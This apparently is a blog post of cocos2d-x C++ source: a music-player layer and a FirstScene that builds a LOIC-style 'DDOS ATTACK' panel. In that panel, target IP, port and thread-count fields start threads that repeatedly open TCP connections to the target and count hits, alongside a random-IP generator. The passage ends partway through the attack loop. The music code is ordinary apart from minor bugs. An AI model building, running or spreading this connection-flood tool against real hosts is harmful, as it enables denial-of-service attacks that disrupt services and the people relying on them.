zoukankan      html  css  js  c++  java
  • cocos2d-x SimplePro 1.0

    /*

      部分使用c++11

    */

    MusicLayer.cpp

    #include "MusicLayer.h"
    #ifdef _WIN32
    #include "ATBAudioEngine/ATBAudioEngine.h"
    #endif
    
    
    
    
    #define DISPLAY Director::getInstance()->getVisibleSize()
    #define displayex Director::getInstance()->getVisibleSize()
    
    MusicLayer::MusicLayer()
    {
        this->inits();
        
    }
    
    MusicLayer::~MusicLayer()
    {
        this->free();
    }
    
    void MusicLayer::free()
    {
        if (m_XMLDoc != nullptr)
        {
            m_XMLDoc->SaveFile((FileUtils::getInstance()->getWritablePath() + "MusicData.xml").c_str());
            XML::GetInstance()->free(m_XMLDoc);
        }
    }
    
    void MusicLayer::inits()
    {
        log("MusicLayer init");
    
    
        FileUtils::getInstance()->addSearchPath(FileUtils::getInstance()->getWritablePath());
    
    
        this->setTouchEnabled(true);
        auto ELTOBO = EventListenerTouchOneByOne::create();
        ELTOBO->setSwallowTouches(true);
        ELTOBO->onTouchBegan = std::move(std::bind(&MusicLayer::onTouchBegan, this, std::placeholders::_1, std::placeholders::_2));
        this->getEventDispatcher()->addEventListenerWithSceneGraphPriority(ELTOBO, this);
        //this->getEventDispatcher()->addEventListenerWithFixedPriority();
        //this->getEventDispatcher()->addCustomEventListener();
    
        string file("res/Button.png");
        auto btn = cocos2d::ui::Button::create(file, file, file);
        btn->setColor(Color3B(24, 48, 64));
        btn->setPressedActionEnabled(true);
        btn->setScale9Enabled(true);
        btn->setContentSize(Size(100, 50));
        btn->setPosition(Vec2(displayex.width - btn->getContentSize().width / 2,
            displayex.height - btn->getContentSize().height / 2));
        btn->setTitleColor(Color3B::BLUE);
        btn->setTitleFontSize(50);
        btn->setName("X");
        btn->setTitleText("X");
        btn->addClickEventListener(std::bind(&MusicLayer::OnCallback, this, std::placeholders::_1));
        this->addChild(btn);
    
    
        this->initFileSearchPathLayer();
    
        this->initPlayLayer();
    
        this->initTableView();
    
        this->createXMLSavePathName(FileUtils::getInstance()->getWritablePath() + "MusicData.xml");
    
        this->refreshTableView();
    }
    
    void MusicLayer::initFileSearchPathLayer()
    {
        //seting layer
        auto setLayer = LayerColor::create(Color4B(24, 48, 64, 255));
        setLayer->setContentSize(Size(displayex.width / 3, displayex.height - 50));
        setLayer->setPosition(0, 50);
        setLayer->setName("setLayer");
        this->addChild(setLayer, 1);
        auto ELM = EventListenerMouse::create();
        ELM->onMouseScroll = std::bind(&MusicLayer::onMouseScroll, this, std::placeholders::_1);
        //setLayer->getEventDispatcher()->addCustomEventListener();
        //setLayer->getEventDispatcher()->addEventListenerWithFixedPriority();
        setLayer->getEventDispatcher()->addEventListenerWithSceneGraphPriority(ELM,this);
        
    
        string file("res/Button.png");
        auto btn = cocos2d::ui::Button::create(file, file, file);
        btn->setColor(Color3B(24, 48, 64));
        btn->setPressedActionEnabled(true);
        btn->setScale9Enabled(true);
        btn->setContentSize(Size(setLayer->getContentSize().width - 100, 40));
        btn->setPosition(Vec2(setLayer->getContentSize().width / 2,
            setLayer->getContentSize().height - btn->getContentSize().height / 2));
        btn->setTitleColor(Color3B::BLUE);
        btn->setTitleFontSize(30);
        btn->setName("Search");
        btn->setTitleText("SEARCH");
        btn->addClickEventListener(std::bind(&MusicLayer::OnCallback, this, std::placeholders::_1));
        setLayer->addChild(btn);
    }
    
    void MusicLayer::initPlayLayer()
    {
        //player layer
        auto playLayer = LayerColor::create(Color4B(16, 65, 86, 255));
        playLayer->setContentSize(Size(displayex.width, 50));
        this->addChild(playLayer, 1);
    
    
    
        string file("res/Button.png");
        auto btn = cocos2d::ui::Button::create(file, file, file);
        btn->setColor(Color3B(24, 48, 64));
        btn->setPosition(Vec2(playLayer->getContentSize().width / 2,
            playLayer->getContentSize().height / 2));
        btn->setPressedActionEnabled(true);
        btn->setScale9Enabled(true);
        btn->setContentSize(Size(100, 50));
        btn->setTitleColor(Color3B::BLUE);
        btn->setTitleFontSize(20);
        btn->setName("play");
        btn->setTitleText("PLAY");
        btn->addClickEventListener(std::bind(&MusicLayer::OnCallback, this, std::placeholders::_1));
        playLayer->addChild(btn);
    }
    
    void MusicLayer::initTableView()
    {
        auto setLayer = this->getChildByName("setLayer");
        auto tableView = TableView::create(this, Size(setLayer->getContentSize().width, setLayer->getContentSize().height - 50));
        tableView->setColor(Color3B(13, 64, 98));
        tableView->setName("tableView");
        tableView->setContentSize(Size(setLayer->getContentSize().width, setLayer->getContentSize().height - 100));
        tableView->setDirection(ScrollView::Direction::VERTICAL);
        tableView->setDelegate(this);
        tableView->setTouchEnabled(true);
        tableView->reloadData();
        setLayer->addChild(tableView);
    }
    
    void MusicLayer::createXMLSavePathName(string filename)
    {
        ssize_t size = 0;
        auto retData = FileUtils::getInstance()->getFileData(filename, "rb+", &size);
        //如果数据不存在
        if (!retData)
        {
            m_XMLDoc = XML::GetInstance()->create();
            XML::GetInstance()->createRoot(m_XMLDoc, "root");
        }
        else
        {
            char *data = (char*)(m_MemoryPool.Allocate(size + 1));
            memcpy(data, retData, size);
    
            m_XMLDoc = new TiXmlDocument();
            m_XMLDoc->Parse((const char*)(data));
    
            auto root = m_XMLDoc->FirstChildElement("root");
            for (auto i = root->FirstChildElement(); i != nullptr; i = i->NextSiblingElement())
            {
                if (i != nullptr)
                {
                    auto text = i->GetText();
                    if (text != nullptr)
                    {
                        FileUtils::getInstance()->addSearchPath(text);
                        for (auto j = i->FirstChildElement(); j != nullptr; j = j->NextSiblingElement())
                        {
                            std::cout << j->GetText() << std::endl;
                            this->m_ListPath.push_back(j->GetText());
                            this->m_TableNum++;
                        }
                    }
                }
            }
    
        }
    }
    
    void MusicLayer::addPath(string path)
    {
        if (m_XMLDoc != nullptr)
        {
            auto node = XML::GetInstance()->createNode("path");
            auto text = XML::GetInstance()->createText(path);
            node->LinkEndChild(text);
            this->m_XMLDoc->RootElement()->LinkEndChild(node);
        }
    }
    
    void MusicLayer::addPathChild(string path, string data)
    {
        if (m_XMLDoc != nullptr)
        {
            auto root = this->m_XMLDoc->RootElement()->FirstChildElement();
            for (auto i = root; i != nullptr; i = root->NextSiblingElement())
            {
                std::cout << i->GetText() << std::endl;
                if (i->GetText() == path)
                {
                    auto node = XML::GetInstance()->createNode("child");
                    auto text = XML::GetInstance()->createText(data);
                    node->LinkEndChild(text);
                    i->LinkEndChild(node);
                    break;
                }
            }
    
        }
    }
    
    void MusicLayer::refreshTableView()
    {
        auto setLayer = this->getChildByName("setLayer");
        if (setLayer != nullptr)
        {
            TableView *tableView = (TableView*)(setLayer->getChildByName("tableView"));
            if (tableView != nullptr)
            {
                tableView->reloadData();
            }
        }
    }
    
    
    
    
    void MusicLayer::OnCallback(cocos2d::Ref* pSender)
    {
        string name = ((Node*)(pSender))->getName();
        if (name == "play")
        {
            SimpleAudioEngine::getInstance()->playBackgroundMusic("D:/Audio/YZFHKMS-H.mp3", true);
        }
        else if (name == "X")
        {
            auto action = Sequence::create(MoveTo::create(0.2f, Vec3(-(displayex.width), 0, 0)),
                DelayTime::create(0.1f),
                CallFunc::create([=]()
            {
                this->removeFromParent();
            }), nullptr);
            this->runAction(action);
        }
        else if (name == "Search")
        {
            auto editBox = this->getChildByName("path");
            if (!(editBox))
            {
                auto edit = ui::EditBox::create(Size(600, 50), "res/input.png");
                auto setLayer = this->getChildByName("setLayer");
    
                edit->setPosition(Vec2(setLayer->getContentSize().width, displayex.height - edit->getContentSize().height / 2));
                edit->setAnchorPoint(Vec2(0.0f, 0.5f));
                edit->setName("path");
                edit->setTag(0);
                this->addChild(edit);
                edit->setDelegate(this);
            }
            else
            {
                if (editBox->getTag() == 0)
                {
                    auto setLayer = this->getChildByName("setLayer");
                    editBox->runAction(MoveTo::create(0.2f, Vec3(setLayer->getContentSize().width, displayex.height - editBox->getContentSize().height / 2, 0)));
                    editBox->setTag(1);
                }
                else if (editBox->getTag() == 1)
                {
                    editBox->runAction(MoveTo::create(0.2f, Vec3(-(editBox->getContentSize().width), editBox->getPosition().y, 0)));
                    editBox->setTag(0);
                }
            }
        }
        else if (name == "path")
        {
            log("path");
        }
    }
    
    void MusicLayer::editBoxEditingDidBegin(EditBox* editBox)
    {
        log("editBoxEditingDidBegin");
    }
    void MusicLayer::editBoxEditingDidEnd(EditBox* editBox)
    {
        log("editBoxEditingDidEnd");
    }
    void MusicLayer::editBoxTextChanged(EditBox* editBox, const std::string& text)
    {
        log("editBoxTextChanged");
    }
    void MusicLayer::editBoxReturn(EditBox* editBox)
    {
        string str = editBox->getText();
        editBox->setTag(0);
        if (str == "")
        {
            log("editBoxReturn: %s", "NULL");
            editBox->runAction(MoveTo::create(0.2f, Vec3(-(editBox->getContentSize().width), editBox->getPosition().y, 0)));
            return;
        }
        else
        {
            log("editBoxReturn: %s", str.c_str());
        }
    
        auto setLayer = this->getChildByName("setLayer");
        TableView *tableView = (TableView*)(setLayer->getChildByName("tableView"));
        tableView->reloadData();
    
        
        auto sePath = FileUtils::getInstance()->getSearchPaths();
        bool isExist = false;
        for (auto sp = sePath.begin(); sp != sePath.end(); sp++)
        {
            if (str.c_str()[str.length() - 1] != '/')
            {
                str.push_back('/');
            }
            if ((*sp) == str)
            {
                isExist = true; break;
            }
        }
        //如果路径不存在
        if (!isExist)
        {
            FileUtils::getInstance()->addSearchPath(str);
            this->addPath(str);
    
            auto VV = FileUtils::getInstance()->listFiles(str);
            for (auto i = VV.begin(); i != VV.end(); i++)
            {
                auto is_0 = i->find("./", 0);
                auto is_1 = i->find("../", 0);
                int pos = 0;
                int sPos = 0;
                char tmp[128] = { 0 };
                if (is_0 == -1 && is_1 == -1)
                {
                    log("%s", i->c_str());
                    pos = i->find(".mp3", 0);
                    if (pos != 0 && pos != -1)
                    {
                        for (int j = i->size(); j >= 0; j--)
                        {
                            if ((i->c_str())[j] == '/')
                            {
                                sPos = j;
                                break;
                            }
                        }
                        memcpy(tmp, i->c_str() + sPos + 1, (i->size() - sPos));
                        this->addPathChild(str, tmp);
                        this->m_ListPath.push_back(tmp);
                        this->m_TableNum++;
                    }
                }
            }
        }
    
        tableView->reloadData();
    
        editBox->runAction(MoveTo::create(0.2f, Vec3(-(editBox->getContentSize().width), editBox->getPosition().y, 0)));
    
    }
    void MusicLayer::editBoxEditingDidEndWithAction(EditBox* editBox, EditBoxDelegate::EditBoxEndAction action)
    {
    
        log("editBoxEditingDidEndWithAction");
    }
    
    void CustomTableViewCell::draw(Renderer *renderer, const Mat4 &transform, uint32_t flags)
    {
        TableViewCell::draw(renderer, transform, flags);
        // draw bounding box
        //auto pos = getPosition();
        //auto size = Size(178, 200);
        //Vec2 vertices[4] = {
        //    Vec2(pos.x + 1, pos.y + 1),
        //    Vec2(pos.x + size.width - 1, pos.y + 1),
        //    Vec2(pos.x + size.width - 1, pos.y + size.height - 1),
        //    Vec2(pos.x + 1, pos.y + size.height - 1),
        //};
        //DrawPrimitives::drawColor4B(0, 0, 255, 255);
        //DrawPrimitives::drawPoly(vertices, 4, true);
    }
    void MusicLayer::tableCellTouched(TableView* table, TableViewCell* cell)
    {
        CCLOG("cell touched at index: %ld", static_cast<long>(cell->getIdx()));
        string file = m_ListPath[(int)(cell->getIdx())].c_str();
        log("tableCellTouched %s", file.c_str());
        log("fullPathForFilename %s", FileUtils::getInstance()->fullPathForFilename(file).c_str());
        string GB2312File = UTF8::GetInstance()->UTF_8_TO_GB2312(FileUtils::getInstance()->fullPathForFilename(file));
        string utf8File = FileUtils::getInstance()->fullPathForFilename(file);
    #ifdef _WIN32
        ATBAE::GetInstance()->PauseAllMusicAndEffects();
        ATBAE::GetInstance()->LoadMusicsAndPlay(GB2312File);
    #else
        SimpleAudioEngine::getInstance()->playBackgroundMusic(utf8File.c_str(), true);
    #endif
    
        file = m_ListPath[(int)(cell->getIdx())].c_str();
        auto label = Label::createWithSystemFont(file, "", 100.0f);
        if (label)
        {
            if (file.length() > 20)
            {
                label->setSystemFontSize(50.0f);
            }
            label->setPosition(DISPLAY / 2);
            this->addChild(label,2);
            auto action = Sequence::create(FadeOut::create(0.0f),
                DelayTime::create(0.0001f),
                FadeIn::create(0.5f),
                DelayTime::create(2.001f),
                FadeOut::create(1.5f), nullptr);
            label->runAction(action);
        }
    }
    Size MusicLayer::tableCellSizeForIndex(TableView *table, ssize_t idx)
    {
        return Size(displayex.width / 3 - 10, 50);
    }
    TableViewCell* MusicLayer::tableCellAtIndex(TableView *table, ssize_t idx)
    {
        //auto string = StringUtils::format("%ld", static_cast<long>(idx));
        TableViewCell *cell = table->dequeueCell();
        if (!cell)
        {
            cell = new (std::nothrow) CustomTableViewCell();
            cell->autorelease();
    
            auto sprite = Sprite::create("res/Button.png");
            sprite->setAnchorPoint(Vec2::ZERO);
            sprite->setColor(Color3B(24, 48, 64));
            sprite->setPosition(Vec2(displayex.width / 2, 0));
            sprite->setContentSize(Size(displayex.width / 3 - 10, 50));
            sprite->setTag(123);
            cell->addChild(sprite);
    
            string file = m_ListPath[(int)(idx)];
    #ifdef ISHEXSHOW
            char *hex = Encryption::StringToHex_s(file.c_str(), file.length());
            int size = file.length() * 2;
            this->m_MemoryPool.pushback(hex, size, true);
            file = hex;
    #endif
    
            auto label = Label::createWithSystemFont(file, "Helvetica", 21.0F);
            label->setAnchorPoint(Vec2(0.0f, 0.5f));
            label->setPosition(Vec2(10, sprite->getContentSize().height / 2));
            label->setTag(123);
            sprite->addChild(label);
            sprite->runAction(MoveTo::create(m_CreateCellTime,Vec3(0,0,0)));
            m_CreateCellTime += 0.2f;
            log("create cell ");
        }
        else
        {
            //auto label = (Label*)(cell->getChildByTag(123)->getChildByTag(123));
            //label->setString(string);
            //label->setAnchorPoint(Vec2(0.0f, 0.5f));
            //label->setPosition(Vec2(0, label->getPosition().y));
            //log("update cell set string %s",string.c_str());
            this->refreshCellItem((Ref*)(cell), idx);
        }
        return cell;
    }
    void MusicLayer::refreshCellItem(Ref*node, ssize_t idx)
    {
        auto label = (Label*)(((Node*)(node))->getChildByTag(123)->getChildByTag(123));
        string file = m_ListPath[(int)(idx)];
    #ifdef ISHEXSHOW
        char *hex = Encryption::StringToHex_s(file.c_str(), file.length());
        int size = file.length() * 2;
        this->m_MemoryPool.pushback(hex, size, true);
        file = hex;
    #endif
        label->setString(file);
    
    }
    ssize_t MusicLayer::numberOfCellsInTableView(TableView *table)
    {
        log("cell x %f, y %f",table->getContentOffset().x, table->getContentOffset().y);
        return m_TableNum;
    }
    
    bool MusicLayer::onTouchBegan(Touch *pTouch, Event *pEvent)
    {
        log("touch MusicLayer");
        return true;
    }
    
    void MusicLayer::onMouseScroll(EventMouse* event)
    {
        auto setLayer = this->getChildByName("setLayer");
        TableView *tableView = (TableView*)(setLayer->getChildByName("tableView"));
        auto last = tableView->getContentOffset();
        //方向
        int dir = (int)(event->getScrollY());
        if (dir > 0)
        {
            //tableView->setContentOffset(Vec2(last.x, last.y += 50));
            tableView->setContentOffsetInDuration(Vec2(last.x, last.y += 500), 1.5f);
        }
        else
        {
            tableView->setContentOffset(Vec2(last.x, last.y -= 50));
        }
    
    }

    MusicLayer.h

    #ifndef __MUSICLAYER_H__
    #define __MUSICLAYER_H__
    #include "cocos2d.h"
    #include "cocos/ui/UIButton.h"
    #include "cocos/ui/UIEditBox/UIEditBox.h"
    #include "extensions/GUI/CCScrollView/CCTableView.h"
    #include "SimpleAudioEngine.h"
    #include <vector>
    #include "iconv/UTF8.h"
    #include "xml/XML.h"
    #include "socket/Private/MemoryPool.h"
    #include "socket/Private/Encryption.h"
    using namespace cocos2d;
    using namespace ui;
    using namespace CocosDenshion;
    using namespace extension;
    using namespace std;
    
    
    
    class CustomTableViewCell : public TableViewCell
    {
    public:
        virtual void draw(cocos2d::Renderer *renderer, const cocos2d::Mat4 &transform, uint32_t flags) override;
    };
    
    class MusicLayer:public LayerColor, 
        EditBoxDelegate, 
        TableViewDataSource,
        TableViewDelegate
    {
        int m_TableNum = 0;
        vector<string> m_ListPath;
        float m_CreateCellTime = 0.0f;
        TiXmlDocument *m_XMLDoc = nullptr;
        MemoryPool m_MemoryPool;
    public:
        void inits();
        void free();
        MusicLayer();
        ~MusicLayer();
    private:
        void OnCallback(cocos2d::Ref* pSender);
        virtual bool onTouchBegan(Touch *touch, Event *unused_event) override;
    
        virtual void editBoxEditingDidBegin(EditBox* editBox)override;
        CC_DEPRECATED_ATTRIBUTE virtual void editBoxEditingDidEnd(EditBox* editBox)override;
        virtual void editBoxTextChanged(EditBox* editBox, const std::string& text)override;
        virtual void editBoxReturn(EditBox* editBox)override;
        virtual void editBoxEditingDidEndWithAction(EditBox* editBox, EditBoxDelegate::EditBoxEndAction action)override;
    
        virtual void scrollViewDidScroll(ScrollView* view) override {}
        virtual void scrollViewDidZoom(ScrollView* view) override {}
        virtual void tableCellTouched(TableView* table, TableViewCell* cell)override;
        virtual Size tableCellSizeForIndex(TableView *table, ssize_t idx)override;
        virtual TableViewCell* tableCellAtIndex(TableView *table, ssize_t idx)override;
        virtual ssize_t numberOfCellsInTableView(TableView *table)override;
    
        void onMouseScroll(EventMouse* event);
    private:
        void initFileSearchPathLayer();
        void initPlayLayer();
        void initTableView();
        void refreshCellItem(Ref*node,ssize_t idx);
        void createXMLSavePathName(string filename);
        void addPath(string path);
        void addPathChild(string path, string data);
        void refreshTableView();
    
    };
    #endif // !__MUSICLAYER_H__

    FirstScene.cpp

    #include "FirstScene.h"
    #include "SimpleAudioEngine.h"
    #include "cocos/ui/UIButton.h"
    #include "cocos/ui/UIEditBox/UIEditBox.h"
    #include "SOIL2/SOIL2.h"
     /*
         int width, height;
    
         std::string fullpath = FileUtils::getInstance()->fullPathForFilename("06a03.jpg");
         unsigned char *data = SOIL_load_image(fullpath.c_str(), &width, &height, 0, SOIL_LOAD_RGBA);
         ssize_t size;
         data = FileUtils::getInstance()->getFileData(fullpath, "rb", &size);
         data = SOIL_load_image_from_memory(data,size,&width,&height, 0, SOIL_LOAD_RGBA);
         if (data == nullptr)
         {
             cocos2d::log("%s . path is : %s
    ", "path error",fullpath.c_str());
         }
    
         Image *image = new (std::nothrow) Image();
    
         //cocos2d::Texture2D::PixelFormat::RGBA8888
    
         image->initWithRawData(data, size, width,height, 2);
         image->setPNGPremultipliedAlphaEnabled(true);
    
         //SOIL_free_image_data(data);
    
         auto so = Sprite::createWithTexture(Director::getInstance()->getTextureCache()->addImage(image, "key"));
         //auto so = Sprite::create("res/06a03.jpg");
         so->setPosition(visibleSize / 2);
         so->setScale(1.0f);
         delete image;
         this->addChild(so);
    
     */
    #include "libyuv.h"
    #include "socket/Private/MemoryPool.h"
    #include "sqlite/sqlite3.h"
    #include "socket/Private/Encryption.h"
    #include "socket/TCPSocket.h"
    #include "socket/Private/ThreadPool.h"
    #include "Tools/Tools.h"
    
    
    
    
    
    USING_NS_CC;
    #define DISPLAY Director::getInstance()->getVisibleSize()
    #define displayex Director::getInstance()->getVisibleSize()
    #define STOPTHREAD        1
    #define STARTTHREAD       0
    
    static unsigned long long g_attackCount = 0;
    static int THREADSTATE = STARTTHREAD;
    static bool isOk = false;
    
    
    Scene* FirstScene::createScene()
    {
        return FirstScene::create();
    }
    
    FirstScene::~FirstScene()
    {
        ThreadPool::GetInstance()->stopAll();
        if (m_RandIPNum > 0)
        {
            m_Tools.free((char**)m_RandIP, m_RandIPNum);
        }
        
    }
    
    void FirstScene::update(float delta)
    {
        if (m_RandIP != nullptr && isOk)
        {
            auto IPLabel = Label::create((char*)(m_RandIP[rand() % m_RandIPNum]), "fonts/arial.ttf", 20.0F);
            IPLabel->setPosition(rand() % 2000, rand() % 20 + rand() % 600);
            IPLabel->setColor(Color3B(rand() % 255, rand() % 255, rand() % 200));
            IPLabel->setName("IPLabel");
            this->addChild(IPLabel);
    
            auto move = MoveTo::create(0.5, Vec3(displayex.width / 2, displayex.height - 50, 0));
            Sequence::create(move,FadeOut::create(0.2f), CallFunc::create([=]()
            {
                IPLabel->removeFromParent();
            }), nullptr);
            IPLabel->runAction(move);
        }
    }
    
    // on "init" you need to initialize your instance
    bool FirstScene::init()
    {
        //////////////////////////////
        // 1. super init first
        if (!Scene::init())
        {
            return false;
        }
    
        auto display = Director::getInstance()->getVisibleSize();
        Vec2 origin = Director::getInstance()->getVisibleOrigin();
    
        //背景
        auto background = cocos2d::LayerColor::create(cocos2d::Color4B(12, 24, 32, 255));
        this->addChild(background);
    
        //图标
        string icon("res/LOIC.png");
        auto sprite = Sprite::create(icon);
        sprite->setContentSize(Size(260, display.height));
        sprite->setPosition(sprite->getContentSize().width / 2,
            display.height / 2);
        this->addChild(sprite);
    
        //ddos
        auto ddosPanel = ui::Button::create(icon, icon, icon);
        ddosPanel->setScale9Enabled(true);
        ddosPanel->setContentSize(Size(260, display.height));
        ddosPanel->setPosition(Vec2(sprite->getContentSize().width / 2,
            displayex.height / 2));
        ddosPanel->setOpacity(10);
        ddosPanel->setName("ddosPanel");
        this->addChild(ddosPanel);
        //ddosPanel->addClickEventListener(CC_CALLBACK_1(FirstScene::OnCallback, this));
        ddosPanel->addClickEventListener(std::bind(&FirstScene::OnCallback, this,std::placeholders::_1));
    
    
    
        string file("res/Button.png");
        auto btn = cocos2d::ui::Button::create(file, file, file);
        btn->setColor(Color3B(24, 48, 64));
        btn->setPosition(display / 2);
        btn->setPressedActionEnabled(true);
        btn->setContentSize(Size(200, 100));
        btn->setTitleLabel(Label::createWithTTF("","fonts/arial.ttf",30));
        btn->setTitleColor(Color3B::BLUE);
        btn->setTitleText("Musics");
        btn->setTitleFontSize(30);
        btn->setName("Music");
        btn->addClickEventListener(std::bind(&FirstScene::OnCallback, this, std::placeholders::_1));
        this->addChild(btn);
    
    
        this->addChild(this->CreateDDOS());
        return true;
    }
    
    Node *FirstScene::CreateDDOS()
    {
        auto layer = LayerColor::create(cocos2d::Color4B(24, 48, 64, 255));
        layer->setContentSize(Size(300, DISPLAY.height));
        layer->setPosition(DISPLAY.width, 0);
        layer->setName("ddos");
        layer->setTag(0);
    
        auto label = Label::createWithTTF("DDOS ATTACK", "fonts/arial.ttf", 30.0F);
        label->setPosition(layer->getContentSize().width / 2,
            layer->getContentSize().height - label->getContentSize().height / 2);
        label->setSkewX(10);
        layer->addChild(label);
    
        int space_x = 10;
        //ip
        auto IP = ui::EditBox::create(Size(260, 30), "res/input.png");
        IP->setPosition(Vec2(layer->getContentSize().width / 2 + 20,
            label->getPosition().y -
            label->getContentSize().height / 2 -
            IP->getContentSize().height / 2 - space_x));
        IP->setText("127.0.0.1");
        //IP->setFont("fonts/arial.ttf", 20);
        IP->setName("IP");
        layer->addChild(IP);
        auto IPLabel = Label::create("IP", "fonts/arial.ttf", 20.0F);
        IPLabel->setPosition(IPLabel->getContentSize().width / 2, IP->getPosition().y);
        layer->addChild(IPLabel);
        //端口
        auto Port = ui::EditBox::create(Size(100, 30), "res/input.png");
        Port->setPosition(Vec2(layer->getContentSize().width - Port->getContentSize().width / 2,
            IP->getPosition().y -
            IP->getContentSize().height / 2 -
            Port->getContentSize().height / 2 - space_x));
        Port->setText("80");
        Port->setName("Port");
        layer->addChild(Port);
        auto PortLabel = Label::create("Port", "fonts/arial.ttf", 20.0F);
        PortLabel->setPosition(PortLabel->getContentSize().width / 2, Port->getPosition().y);
        layer->addChild(PortLabel);
        //线程
        auto Thread = ui::EditBox::create(Size(100, 30), "res/input.png");
        Thread->setPosition(Vec2(layer->getContentSize().width - Thread->getContentSize().width / 2,
            Port->getPosition().y -
            Port->getContentSize().height / 2 -
            Thread->getContentSize().height / 2 - space_x));
        Thread->setText("10");
        Thread->setName("Thread");
        layer->addChild(Thread);
        auto ThreadLabel = Label::create("Thread", "fonts/arial.ttf", 20.0F);
        ThreadLabel->setPosition(ThreadLabel->getContentSize().width / 2, Thread->getPosition().y);
        layer->addChild(ThreadLabel);
        //随机IP数量
        auto RandIP = ui::EditBox::create(Size(100, 30), "res/input.png");
        RandIP->setPosition(Vec2(layer->getContentSize().width - RandIP->getContentSize().width / 2,
            Thread->getPosition().y -
            Thread->getContentSize().height / 2 -
            RandIP->getContentSize().height / 2 - space_x));
        RandIP->setText("1000");
        RandIP->setName("RandIP");
        layer->addChild(RandIP);
        auto RandIPLabel = Label::create("Random IP Count", "fonts/arial.ttf", 20.0F);
        RandIPLabel->setPosition(RandIPLabel->getContentSize().width / 2, RandIP->getPosition().y);
        layer->addChild(RandIPLabel);
    
    
    
        string file("res/Button.png");
        auto attack = cocos2d::ui::Button::create(file, file, file);
        //attack->setContentSize(Size(200, 100));
        attack->setTitleText("STARTATTACK");
        attack->setTitleFontSize(15);
        attack->setPosition(Vec2(attack->getContentSize().width / 2 + 10, attack->getContentSize().height / 2 + 10));
        attack->setPressedActionEnabled(true);
        attack->setName("attack");
        layer->addChild(attack);
        attack->addClickEventListener(CC_CALLBACK_1(FirstScene::OnCallback, this));
    
        auto StopAttack = cocos2d::ui::Button::create(file, file, file);
        //StopAttack->setContentSize(Size(200, 100));
        StopAttack->setTitleText("STOPATTACK");
        StopAttack->setTitleFontSize(15);
        StopAttack->setPosition(Vec2(layer->getContentSize().width - StopAttack->getContentSize().width / 2 - 10,
            StopAttack->getContentSize().height / 2 + 10));
        StopAttack->setPressedActionEnabled(true);
        StopAttack->setName("StopAttack");
        layer->addChild(StopAttack);
        StopAttack->addClickEventListener(CC_CALLBACK_1(FirstScene::OnCallback, this));
    
        return layer;
    }
    
    static mutex g_mutexs;
    void FirstScene::OnCallback(Ref* pSender)
    {
        srand(0);
        auto node = ((Node*)pSender);
        //==================================
        if (node->getName() == "ddosPanel")
        {
            cocos2d::log("%s", "ddosPanel");
            auto layer = node->getParent()->getChildByName("ddos");
            if (layer->getTag() == 0)
            {
                auto moveTo = MoveTo::create(0.1f, Vec3(DISPLAY.width - layer->getContentSize().width,
                    0, 0));
                layer->runAction(moveTo);
                layer->setTag(1);
            }
            else
            {
                auto moveTo = MoveTo::create(0.1f, Vec3(DISPLAY.width, 0, 0));
                layer->runAction(moveTo);
                layer->setTag(0);
            }
        }
        else if (node->getName() == "attack")
        {
            //攻击线程启动
            THREADSTATE = STARTTHREAD;
    
            string IP = ((ui::EditBox*)node->getParent()->getChildByName("IP"))->getText();
            string Port = ((ui::EditBox*)node->getParent()->getChildByName("Port"))->getText();
            string Thread = ((ui::EditBox*)node->getParent()->getChildByName("Thread"))->getText();
            string RandIP = ((ui::EditBox*)node->getParent()->getChildByName("RandIP"))->getText();
            cocos2d::log("start ddos attack, IP is: %s, Port is: %s, Thread is: %s, Random IP Count is: %s ",
                IP.c_str(),
                Port.c_str(),
                Thread.c_str(),
                RandIP.c_str());
    
            int count = atoi(Thread.c_str());
            for (int i = 0; i < count; i++)
            {
                ThreadPtr threadPtr;
                threadPtr.ThreadID = i;
                std::function<void(int, std::string, std::string)>  iss = std::bind(&FirstScene::DDOS,this,
                    std::placeholders::_1,
                    std::placeholders::_2,
                    std::placeholders::_3);
                threadPtr.ptrThread = std::move(std::shared_ptr<thread>(new thread(iss, threadPtr.ThreadID,IP,Port)));
                ThreadPool::GetInstance()->addChild(threadPtr);
            }
            m_RandIPNum = atoi(RandIP.c_str());
    
            //释放上一此的内存
            static int lastRandIPNum = 0;
            if (lastRandIPNum != 0 && lastRandIPNum != m_RandIPNum)
            {
                m_Tools.free((char**)(m_RandIP), m_RandIPNum);
            }
            lastRandIPNum = m_RandIPNum;
    
    
            //单独线程获取随机IP
            ThreadPtr threadPtr;
            threadPtr.ThreadID = 10000;
            auto VoidP = [=](int ID)
            {
                if (THREADSTATE == STARTTHREAD)
                {
                    m_RandIP = m_Tools.CreateSrandIP(m_RandIPNum);
                    //表示初始化IP完毕
                    isOk = true;
                }
                else
                {
                    return;
                }
            };
            std::function<void(int)>  iss = std::bind(VoidP,std::placeholders::_1);
            threadPtr.ptrThread = std::move(std::shared_ptr<thread>(new thread(iss, threadPtr.ThreadID)));
            ThreadPool::GetInstance()->addChild(threadPtr);
    
            this->scheduleUpdate();
        }
        else if (node->getName() == "StopAttack")
        {
            cocos2d::log("%s", "StopAttack.................. Please Wait All Thread Stop!!!!!!!!!!");
            isOk = false;
            THREADSTATE = STOPTHREAD;
            ThreadPool::GetInstance()->stopAll();
            this->unscheduleUpdate();
    
            auto action = Sequence::create(DelayTime::create(1.0f),
                CallFunc::create([=]()
            {
                while (true)
                {
                    auto node = this->getChildByName("IPLabel");
                    if (node != nullptr)
                    {
                        node->removeFromParent();
                    }
                    else
                    {
                        return;
                    }
                }
            }), nullptr);
            this->runAction(action);
    
        }
        else if (node->getName() == "Music")
        {
            auto musicLayer = new (std::nothrow) MusicLayer();
            if (musicLayer && musicLayer->initWithColor(Color4B(12, 24, 32, 255)))
            {
                musicLayer->setPosition(0, DISPLAY.height);
                musicLayer->runAction(MoveTo::create(0.2f, Vec3(0, 0, 0)));
                musicLayer->autorelease();
                this->addChild(musicLayer);
            }
        }
    
    
    }
    
    void FirstScene::DDOS( int ID, string IP, string Port)
    {
        std::cout << ID<<" " << IP.c_str()<<" " << Port.c_str() << std::endl;
        static unsigned long long var = 0;
        static int FPS = 1;
        static Tools tool;
        while (true)
        {
            if (THREADSTATE == STOPTHREAD)
            {
                return;
            }
            else if (THREADSTATE == STARTTHREAD)
            {
                lock_guard<mutex> LG(g_mutexs);
                static unsigned long long times = tool.GetCurrentTimeMsec();
                var = tool.GetCurrentTimeMsec() - times;
                if (var >= FPS)
                {
                    int ret = 0;
                    ret = TCPSocket::getInstance()->connect(IP.c_str(), (short)atoi(Port.c_str()));
                    if (ret == 1)
                    {
                        //log("send Success  count : %d !!!", g_attackCount);
                        g_attackCount++;
                    }
                    else
                    {
                        log("send Fail !!!");
                    }
                    times = tool.GetCurrentTimeMsec();
                }
            }
            else
            {
                //thread Sleep;
            }
    
